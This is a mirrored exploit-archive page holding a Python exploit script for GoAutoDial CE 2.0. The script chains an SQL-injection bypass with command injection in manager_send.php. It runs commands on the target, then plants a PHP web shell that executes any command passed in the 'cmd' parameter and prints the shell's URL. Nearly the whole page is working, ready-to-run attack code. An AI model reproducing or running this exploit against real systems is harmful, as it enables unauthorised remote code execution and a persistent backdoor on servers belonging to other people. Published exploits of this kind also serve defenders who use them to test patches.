首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GoAutoDial CE 2.0 - Shell Upload Vulnerability
来源:http://infogen.al 作者:R-73eN 发布时间:2015-03-20  
# Title : GoAutoDial CE 2.0 Shell Upload
# Date : 28/02/2015
# Author : R-73eN
# Software : GoAutoDial CE 2.0
# Tested : On Linux vicisrv.loc 2.6.18-238.9.1.el5.goPAE #1  GoAutoDial CE 2.0
   
import socket
import sys
banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
CRLF = "\r\n"
def checkvuln():
    command = "uname"
    evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,80))
    evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
    s.send(evilREQ)
    a = s.recv(1024)
    if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Linux") != -1):
        print '[ + ] Server Is vulnerable [ + ]\n'
        shellupload()
    else:
        print '[ - ] Server is not vulnerable [ - ]\n'
    s.close()
   
   
def shellupload():
    command = "echo 'Infogen-AL<br><?php echo system($_GET['cmd']);?>' > /var/www/html/infogen.php"
    #command = "rm /var/www/html/123.pl;rm /var/www/html/TEST.perl"
    command = command.replace(" ", "%20")
    evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((host,80))
    evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
    s.send(evilREQ)
    a = s.recv(1024)
    if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Invalid") == -1):
        print '[ + ] Shell uploaded successfully [ + ]\n'
        print '[ + ] http://' + host + '/infogen.php [ + ]\n'
    else:
        print '[ - ] Shell upload failed.... [ - ]'
    s.close()
   
if(len(sys.argv) < 4):
    print '\n Usage : exploit.py 127.0.0.1 /goautodial-agent/ agentuser agentpassword\n'
else:
    host = sys.argv[1]
    path = sys.argv[2]
    user = sys.argv[3]
    password = sys.argv[4]
    checkvuln()
    print 'Visit Us : http://infogen.al/'

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Publish-It 3.6d - PUI Buffer O
·Adobe Flash Player PCRE Regex
·Publish-It 3.6d - Buffer Overf
·Free MP3 CD Ripper Buffer Over
·Microsoft Office Word 2007 - R
·Firefox Proxy Prototype Privil
·TWiki Debugenableplugins Remot
·Belkin Play N750 login.cgi Buf
·FastStone Image Viewer 5.3 .tg
·Powershell Remoting Remote Com
·Fortinet Single Sign On Stack
·Bsplayer 2.68 - HTTP Response
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved